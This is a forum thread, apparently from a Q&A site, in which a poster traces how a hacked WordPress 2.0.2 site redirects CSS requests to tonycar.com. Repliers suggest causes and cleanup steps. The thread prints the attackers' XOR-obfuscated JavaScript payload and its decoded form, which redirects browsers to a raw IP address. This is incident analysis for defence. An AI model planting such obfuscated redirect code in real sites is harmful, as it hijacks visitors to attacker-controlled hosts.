One of my friends has website running with WordPress (note that is not a blog in WordPress.com), and it has been hacked. He has to talk with the company that provided the site for restoring a backup, in the mean time. I’d like to know what has happened, because I’m trying to learn about web security and this is a good chance.
The first thing I can note is that the web page appears without style even when there are CSS files referenced from the HTML. I try to navigate to one of those files, but I get redirected to a website named tonycar.com .
The WordPress version is 2.0.2, as I can see in the html <meta name="generator" content="WordPress 2.0.2" />
So, it is like this :
Request to http://myfriendwebsite.net/:
GET http://myfriendwebsite.net/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: myfriendwebsite.net
Response:
HTTP/1.1 200 OK
Date: Mon, 20 Jun 2011 22:05:28 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.17
X-Pingback: http://www.myfriendwebsite.net/wordpress/xmlrpc.php
Set-Cookie: bb2_screener_=1308607528+213.191.238.24; path=/
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
The response contains the HTML code. Now the web site tries to get the CSS files, this is what happens with the first for example:
Request:
GET http://www.myfriendwebsite.net/wordpress/wp-content/themes/myfriendwebsite/includes/core.css HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: www.myfriendwebsite.net
Connection: Keep-Alive
Cookie: bb2_screener_=1308607528+213.191.238.24
Response:
HTTP/1.1 302 Found
Date: Mon, 20 Jun 2011 22:05:29 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://tonycar.com/r/404.php?213.191.238.24
Content-Length: 402
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://tonycar.com/r/404.php?213.191.238.24">here</a>.</p>
<hr>
<address>Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.myfriendwebsite.net Port 80</address>
</body></html>
That makes a redirection to http://tonycar.com/r/404.php?213.191.238.24
, and this is what happens:
Request:
GET http://tonycar.com/r/404.php?213.191.238.24 HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: tonycar.com
Connection: Keep-Alive
Response
HTTP/1.1 302 Moved Temporarily
Date: Mon, 20 Jun 2011 22:05:42 GMT
Server: Apache
Set-Cookie: xxx=xxx; expires=Mon, 20-Jun-2011 23:05:42 GMT
Location: go.php?dd41dcd4bcb38e25c529f150f00ecf95
Content-Length: 0
Connection: close
Content-Type: text/html
A new redirection and finally:
Request
GET http://tonycar.com/r/go.php?dd41dcd4bcb38e25c529f150f00ecf95 HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: tonycar.com
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Date: Mon, 20 Jun 2011 22:05:44 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
2da
<script language=JavaScript>HaSyJGVMNHBHlTVzQCrn1 = "=rbshqu!uxqd<#udyu.k`w`rbshqu#?w`s!yyy<#iuuq;..099/338/81/76.hoedy/qiq>nbu0l<GD1RkCgHj1`NhvxLBXxWSiPY'OV6D<DVBWTJ@ycH1W[WBynVGSOS'6uj<106IVBH'ix<$3GY'nmQ<D5$3CYmyWUTu4J2['JwR2<Q1QFE7N00C8X1778NBXN9Q7B1E8'o3<l5sYRW@SGmeNh@uD'twff<$3CXDyfN2WJgj1KQmD5PmKJEUOx`o9@[f[1@2XNLUHvHf$2E$2E'07<0[R3F893K60'[Wh<BjHJh1rP@9tHDn#:enbtldou/mnb`uhno/isdg<yyy:=.rbshqu?";PIIupfVDlgksHCrQJMcW2 = "";for (TdeFxzFOBwBRFKLvqgyb3 = 0; TdeFxzFOBwBRFKLvqgyb3 < HaSyJGVMNHBHlTVzQCrn1.length; TdeFxzFOBwBRFKLvqgyb3 ++) { PIIupfVDlgksHCrQJMcW2 = PIIupfVDlgksHCrQJMcW2+ String.fromCharCode (HaSyJGVMNHBHlTVzQCrn1.charCodeAt (TdeFxzFOBwBRFKLvqgyb3) ^ 1); }; document.write (PIIupfVDlgksHCrQJMcW2);</script>
0
After a little bit of work, I find out that that evil javascript function is generate this and write it to the document:
<script type="text/javascript">
var xxx="http://188.229.90.67/index.php?oct1m=FE0SjBfIk0aOiwyMCYyVRhQX&NW7E=EWCVUKAxbI0VZVCxoWFRNR&7tk=017HWCI&hy=%2FX&olP=E4%2BXlxVTUt5K3Z&KvS3=P0PGD6O11B9Y0669OCYO8P6C0D9&n2=m4rXSVARFldOiAtE&uvgg=%2BYExgO3VKfk0JPlE4QlJKDTNyan8AZgZ0A3YOMTIwIg%3D%3D&16=1ZS2G982J71&ZVi=CkIKi0sQA8uIEo";
document.location.href=xxx;
</script>
Basically, it declares a String, and after it decodes it:
varA="crazy encoding string"
varB = "";
for (varC = 0; varC < varA.length; varC ++)
{
varB = varB+ String.fromCharCode (varA.charCodeAt (varC) ^ 1);
};
document.write(varB);
So again, a new redirection, but I cannot see that request on Fiddler I don’t know why, maybe because IE9 doesn’t understand that or what? :S I cannot decode those parameters of the query string, probably because those are the intended names and values (or not).
What is the purpose of this hack? What are they trying to achieve?
How has been this possible? I understand what is a XSS attack (direct, reflected and DOM based), but this has nothing to do with that. The server is returning a crafted response instead the CSS file required. The CSS files are supposed to be static files that the web server returns without the action of PHP or WordPress, so?
This kind of thing is extremely common on WordPress sites, and you will see it on other popular web applications as well.
Basically, automated bots find a website to hijack, and try a few commonly known exploits. If one works, they embed some crap into your site, as you have seen.
What they do is create links to words that go back to their sites. This is to increase their page rank and what not with search engines. The idea is that if 50,000 broken WordPress sites have the word “Viagra” linked to “my-viagra-pharmacy.info”, then Google will boost that site up when people search for “Viagra”.
It happens all the time. A search through your PHP files for
eval()
will likely turn up a few “evil” (ha! a pun) lines of code.I don’t use WordPress, but I’m also interested in this.
Have you:
There is some sort of internal redirect occurring, which means code is either being injected, a file has been added, or an existing file has been modified. The easiest way to find out would be to:
grep
your files for some identifiable text, liketonycar.com
. As you pointed out, they may have obfuscated it, so you might need to use other locating techniques, such as…Something that was noticed is that they are using cookie information, have you tried accessing the site with cookies disabled to see if that was a possible point of insecurity?
Great analysis of what happened. Search all your theme php files and replace all WP core files/folders.
Who is the web host?
And see How to completely clean your hacked wordpress installation and How to find a backdoor in a hacked WordPress and Hardening WordPress « WordPress Codex.
I don’t know about the specifics of wordpress, but I’d investigate the actual file permissions first. To me it looks like someone was able to put a .htaccess in the wordpress/wp-content/themes/myfriendwebsite/includes/ directory. I can’t easily think of another way to force a 302 redirect on what should be static content (a .css file). It actually strikes me as unlikely that an unauthorized user would be able to upload such a file to that directory. I think it more likely that someone else on the same server (I’m assuming it to be shared hosting) found that directory to be writable. Check the permissions on that directory and make sure it isn’t writable by everyone on the system.